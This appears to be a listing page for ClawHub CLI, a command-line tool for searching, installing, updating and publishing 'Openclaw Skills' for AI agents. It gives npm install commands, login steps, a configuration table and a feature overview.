A comprehensive command-line interface for the seamless management, discovery, and distribution of Openclaw Skills.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install clawhub1
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install clawhub1 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is ClawHub CLI?
ClawHub CLI is the central management utility for developers working within the AI agent ecosystem. It provides a robust set of commands to interact with the clawhub.ai registry, allowing users to search for community-contributed capabilities, install them into local environments, and keep them synchronized with the latest versions using advanced hash-based matching.
By leveraging the power of Openclaw Skills, developers can rapidly extend the functionality of their AI agents. This tool is designed for high performance, utilizing advanced caching and compression to ensure that fetching and updating skills is as efficient as possible. Whether you are an individual developer or part of a larger team, ClawHub CLI streamlines the entire lifecycle of agent skill management, from initial discovery to production deployment and versioning.
ClawHub CLI Use Cases
- Searching for specific agent capabilities like database backups or social media automation within the registry.
- Installing and version-pinning Openclaw Skills to ensure consistent development and production environments.
- Synchronizing all locally installed skills to their latest versions with a single, automated command.
- Publishing custom-built skills to the global registry to share tools with the community.
- Integrating skill management into CI/CD pipelines to automate the deployment of Openclaw Skills.
How ClawHub CLI Works
- The process begins by ensuring the mandatory openclawcli utility is active on the host system to facilitate underlying communication.
- Users authenticate via the CLI to enable secure publishing features and access user-specific registry data.
- The CLI queries the central registry to locate Openclaw Skills based on user search parameters or specific slugs.
- Upon installation, the tool downloads, decompresses, and organizes the skill files into a local directory structure.
- For updates, the engine performs file hashing to detect local changes and intelligently merges updates from the registry while preserving modifications where possible.
ClawHub CLI Setup
Before beginning, you must have the openclawcli utility installed and running on your system. Once the prerequisite is met, install the CLI globally via npm:
npm i -g clawhub
To verify the installation and prepare for publishing Openclaw Skills, authenticate your session:
# Login to the registry
clawhub login
# Verify your identity
clawhub whoami
ClawHub CLI Data Schema & Taxonomy
ClawHub CLI maintains a structured environment for managing Openclaw Skills through configuration files and dedicated directories.
| Component | Description |
|---|---|
~/.clawhubrc |
The primary JSON configuration file storing registry URLs, install paths, and auto-update settings. |
./skills |
The default directory where Openclaw Skills are installed and versioned locally. |
SKILL.md |
The essential metadata file required in every skill directory for registry indexing and documentation. |
CLAWHUB_AUTH |
An environment variable used to store authentication tokens for secure CLI operations. |
ClawHub CLI Advanced Features
- Intelligent hash-based update detection that avoids unnecessary downloads and identifies manual local changes.
- Full support for custom registries, allowing organizations to host and manage private Openclaw Skills.
- Automated version management supporting semantic versioning (semver) for patch, minor, and major releases.
- Batch operation capabilities for managing large volumes of Openclaw Skills via scripting and piping.
- Headless mode and JSON output formatting for seamless integration into DevOps and automation workflows.
SKILL.md
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